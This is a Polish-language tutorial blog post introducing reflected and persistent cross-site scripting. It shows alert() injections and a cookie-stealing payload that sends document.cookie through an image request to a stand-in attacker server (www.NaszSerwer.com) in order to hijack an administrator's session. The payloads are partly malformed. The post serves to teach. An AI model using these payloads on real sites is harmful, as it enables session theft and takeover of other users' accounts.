Dzisiaj powracamy do zagadnień związanych z bezpieczeństwem aplikacji webowych. Przez kilka następnych postów będę pisał o XSS.
Oprócz SQL Injection, XSS jest jednym z “popularniejszych” ataków przeprowadzanych na aplikacje webowe. O ile zasada działania może wydawać się prymitywna, to wiele stron, nawet tych z czołówki (np. Amazon), były podatne na XSS. Co więcej, tak jak SQL Injection, wykorzystanie XSS może spowodować całkowite przejęcie kontroli nad aplikacją. Nie należy więc traktować luki XSS jako problemu wyłącznie warstwy prezentacji.
Chcę, aby wpisy w serii “Bezpieczeństwo web” zawierały informacje od poziomu początkującego do zaawansowanego, więc prawdopodobnie dla wielu z czytelników informacje z pierwszych wpisów mogą być potraktowane jako przypomnienie.
Istnieje kilka podstawowych typów XSS. Zacznijmy od tak zwanego Reflected XSS, również nazywanego Non-persistent XSS.
Załóżmy, że wyświetlanie błędów odbywa się za pomocą skierowania użytkownika do podstrony o adresie:
“www.domain.com\error?message=’Cannot display page’. Strona automatycznie wstrzykuje zawartość parametru “message” jako zawartość.
Co jeśli użytkownika jednak dostarczy link w postaci:
www.domain.com\error?message=<script>alert('test')</script>
Bez zakodowania, strona zamiast wyświetlić tekst, wykona skrypt JavaScript. Podobne przykłady można mnożyć. Często na stronach internetowych można wpisywać komentarze lub recenzje. Jeśli w formularzu zamiast tekstu (tego co autorzy spodziewają się), wstrzyknie się JavaScript, wtedy będziemy mogli wykonać dowolny kod.
Jeśli aplikacja nie weryfikuje treści dostarczonej przez użytkownika, może być podatna na XSS. Wtedy użytkownik może dostarczyć dowolną treść, np. kod HTML czy JavaScript. Typ ataku nazywany jest “Reflected”, ponieważ strona odzwierciedla dokładnie to co zostało przekazane. Non-persistent oznacza, że treść nie została zapisana nigdzie. W przypadku powyższej luki ze stroną wyświetlającą błędy mamy do czynienia z typem non-persistent. Kod zostanie wykonany wyłącznie w kontekście użytkownika, który go przekazał. Inaczej sprawa wygląda z przykładem, gdzie użytkownicy mogą wpisywać dowolne komentarze czy recenzje. Wtedy, przekazany kod będzie wyświetlany jakiemukolwiek użytkownikowi, który odwiedza stronę. Z tego względu będzie to atak typu “persistent xss”.
Powyższe przykłady są oczywiście bardzo sztuczne i nie przyniosą żadnych korzyści osobie atakującej. Wyświetlenie tekstu nie jest zbyt wielką korzyścią, nawet w przypadku persistent xss i wyświetlaniu alertu każdej osobie odwiedzającej stronę. Co najwyżej może być to irytujące dla odwiedzających, ale nie niebezpieczne.
Rozważmy jednak inny przykład. W ciasteczkach, bardzo często przechowywane są ważne informacje. Nierozsądni programiści mogą tam przechowywać nawet hasło. Wiem, że jest to ekstremalny przypadek. Z drugiej jednak strony, większość aplikacji przechowuje tam identyfikator sesji. Wykradnięcie tego identyfikatora, może umożliwić atakującemu wykonywane kodu operacji w kontekście innego użytkownika. Załóżmy, że nie mamy praw administratora, ale wiemy, że jest jest on właśnie zalogowany do systemu. Jeśli udałoby nam się przechwycić jego identyfikator sesji, wtedy przekazując ten sam id w naszych zapytaniach, system będzie myślał, że jesteśmy administratorem. Jak widać, w taki sposób moglibyśmy mieć dostęp do wszystkich zasobów strony. W tym czasie możemy usunąć stronę całkowicie lub stworzyć dodatkowe konto o prawach administratora. Dlatego tak ważne jest z punktu widzenia bezpieczeństwa użytkownika, aby wylogować się ze strony, jak tylko skończyliśmy pracę z nią. Nie robiąc tego, utrzymujemy swój identyfikator sesji, co zwiększa ryzyko przeprowadzenia ataku.
Pytanie brzmi, jak przejąć identyfikator sesji za pomocą Reflected XSS?
Wiemy, że możemy wstrzyknąć kod JavaScript. Za pomocą JS, możemy odczytać ciasteczka za pomocą:
var allCookies = document.cookie;
Jeśli zatem przekażemy administratorowi link w postaci:
www.domain.com\error?message='<script>var allCookies = document.cookie</script>'
Wstrzyknięty kod przeczyta ciasteczka administratora czyli również cenny identyfikator sesji. Problem w tym, że wykona to się w przeglądarce tej osoby. Musimy zatem wymyślić jakiś sposób na przetransferowanie jego ciasteczek do naszego serwera.
Sztuczka polega na wstrzyknięciu obrazka, którego link wskazuje na nasz serwer. Co się stanie jeśli wstrzykniemy następujący obrazek?
<img src=http://www.NaszSerwer.com/images/+document.cookie'/>
Przeglądarka, próbując wyświetlić obrazek, wykona zapytanie do powyższego linku. Powyższy link zawiera w sobie wszystkie ciasteczka. Ponadto wskazuje na serwer, który jest pod naszą kontrolą. Pisząc odpowiedni HTTP Handler, będziemy w stanie przechwycić wszystkie zapytania przychodzące do naszego serwera (a jednym z nich jest link zawierający ciasteczka).
Ostateczny link, jaki zatem musimy przekazać administratorowi to:
www.domain.com\error?message='<script>var image=new Image;image.src=http://www.NaszSerwer.com/images+document.cookie</script>'
Jak widać, za pomocą XSS można zdziałać dużo więcej niż tylko zdenerwować użytkowników.
Jednym z przyszłych postów chciałbym również opisać, jak przeglądarki radzą sobie z zapytaniami między różnymi serwerami. W skrócie pisząc, można wysłać zapytanie do innego serwera, ale nie można czytać jego odpowiedzi. Przeczytanie np. JSON z innej usługi jest zatem kłopotliwe. Wysłanie jednak zapytania do innego serwera w celu wyświetlenia obrazka czy załadowania skryptu jest jak najbardziej dozwolone, co powyższy kod demonstruje. Nie jest jednak dozwolone przeczytanie zasobów należących do innej domeny. Ciasteczka na serwerze domain.com może przeczytać wyłącznie skrypt znajdujący się w tej domenie. Jeśli umieścilibyśmy analogiczny skrypt na www.NaszSerwer.com, nie uzyskalibyśmy ciasteczek z www.domain.com.
Dlaczego zatem powyższy atak nie nazywa się np. JavaScript Injection, ale Cross-site scripting? W końcu wstrzykujemy jakiś kod… Wynika to z opisanego właśnie sposobu przekazywania zasobów. Pomimo, że przeczytaliśmy ciasteczka z domeny “www.domain” to przekazywane są one do innej domeny, “www.NaszSerwer.com”. Oznacza to, że nasz skrypt działa tak naprawdę na dwóch różnych stronach (domenach), stąd nazwa “cross-site scripting”.
alert(‘test’)